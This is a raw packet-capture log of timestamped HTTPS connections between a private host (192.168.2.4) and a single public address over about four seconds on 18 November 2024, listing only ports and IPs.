Nov 18, 2024 17:24:33.108036041 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.108047962 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.110191107 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.110219955 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.110337019 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.110646009 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.110661030 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.584855080 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.585345030 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.585366011 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.585784912 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.585789919 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.712184906 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.712837934 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.712856054 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713295937 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.713300943 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713311911 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713459969 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713500977 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713568926 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.713624954 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.713637114 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.713645935 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.713650942 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.716494083 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.716521025 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.716609001 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.716794968 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.716835976 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.829905033 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.830554008 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.830589056 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.831182003 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.831195116 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.841926098 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.842019081 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.842277050 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.842277050 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.842277050 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.845124006 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.845170021 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.845246077 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.845375061 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.845383883 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.846182108 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.846503019 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.846513987 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.846864939 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.846868992 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.923562050 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.926439047 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.926459074 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.926721096 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.926724911 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.959482908 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.959662914 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.959796906 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.959872961 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.959872961 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.959917068 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.959950924 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.962584972 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.962675095 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.963007927 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.963007927 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.963085890 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.056150913 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.056226015 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.056339979 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.056416035 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.056591034 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.056602955 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.056617022 CET	50010	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.056622982 CET	443	50010	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.059667110 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.059693098 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.059779882 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.059952021 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.059957981 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.104106903 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.104171991 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.104331970 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.104351044 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.104362011 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.104371071 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.104376078 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.106997013 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.107054949 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.107152939 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.107270002 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.107301950 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.143800974 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.143857956 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.465733051 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.466392994 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.466458082 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.466876984 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.466891050 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.584980011 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.588577032 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.588612080 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.589030027 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.589035034 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.596625090 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.596777916 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.596889973 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.597094059 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.597094059 CET	50011	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.597141027 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.597171068 CET	443	50011	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.599877119 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.599914074 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.599999905 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.600137949 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.600156069 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.706171989 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.706804991 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.706824064 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.707253933 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.707266092 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.716931105 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.716989040 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.717032909 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.717056036 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.717088938 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.717207909 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.717221975 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.717231989 CET	50012	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.717237949 CET	443	50012	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.719877005 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.719913006 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.719991922 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.720133066 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.720149040 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.824989080 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.825607061 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.825632095 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.826045990 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.826056957 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.840014935 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.840255022 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.840327978 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.840382099 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.840382099 CET	50013	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.840409040 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.840431929 CET	443	50013	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.843071938 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.843097925 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.843177080 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.843343019 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.843354940 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.851851940 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.852233887 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.852267981 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.852657080 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.852668047 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.954416990 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.954483032 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.954591036 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.954673052 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.954775095 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.954787016 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.954818964 CET	50014	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.954828024 CET	443	50014	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.957632065 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.957659006 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.957743883 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.957906008 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.957914114 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.985996008 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.986052036 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.987613916 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.987663984 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.987663984 CET	50015	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.987688065 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.987715006 CET	443	50015	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.990092039 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.990139961 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:34.990219116 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.990366936 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:34.990377903 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.345654964 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.347167969 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.347182035 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.348104000 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.348110914 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.451380014 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.451941967 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.451970100 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.452385902 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.452392101 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.489779949 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.489958048 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.490022898 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.490179062 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.490202904 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.490212917 CET	50016	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.490219116 CET	443	50016	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.493305922 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.493335962 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.493434906 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.493609905 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.493622065 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.581943035 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.582104921 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.582179070 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.582304955 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.582319021 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.582333088 CET	50017	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.582338095 CET	443	50017	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.582715988 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.583239079 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.583259106 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.583627939 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.583633900 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.585107088 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.585143089 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.585207939 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.585335016 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.585341930 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.706758022 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.707209110 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.707247972 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.707648039 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.707662106 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.711632013 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.711786032 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.711863995 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.711889029 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.711889029 CET	50018	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.711904049 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.711915016 CET	443	50018	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.714260101 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.714286089 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.714365005 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.714479923 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.714493036 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.730834007 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.731414080 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.731431007 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.732003927 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.732007980 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.835966110 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.836155891 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.836246014 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.836364031 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.836383104 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.836396933 CET	50019	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.836402893 CET	443	50019	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.839559078 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.839590073 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.839689970 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.839858055 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.839873075 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.864998102 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.865119934 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.865179062 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.865211964 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.865258932 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.865467072 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.865485907 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.865497112 CET	50020	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.865502119 CET	443	50020	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.868047953 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.868139982 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:35.868231058 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.868391991 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:35.868426085 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.239728928 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.274899960 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.274928093 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.275599003 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.275604963 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.317398071 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.365777969 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.405226946 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.405309916 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.405373096 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.557631969 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.557667017 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.558187962 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.558192968 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.561925888 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.561966896 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.561985016 CET	50021	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.561994076 CET	443	50021	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.571429014 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.571475983 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.571531057 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.574780941 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.574800014 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.583214998 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.583650112 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.583664894 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.584269047 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.584274054 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.605946064 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.608493090 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.608509064 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.608932018 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.608938932 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.693902016 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.693934917 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.693989992 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.693994999 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.694031954 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.695270061 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.695290089 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.695301056 CET	50022	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.695306063 CET	443	50022	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.699800014 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.699832916 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.699891090 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.700273991 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.700290918 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.715121984 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.715147972 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.715189934 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.715198994 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.715235949 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.715440035 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.715456009 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.715466022 CET	50024	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.715471029 CET	443	50024	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.718555927 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.718581915 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.718640089 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.719660997 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.719676971 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.739664078 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.739723921 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.739789963 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.739872932 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.739882946 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.739897966 CET	50025	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.739902973 CET	443	50025	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.742233992 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.742286921 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.742357016 CET	50029	443	192.168.2.4	13.107.246.45
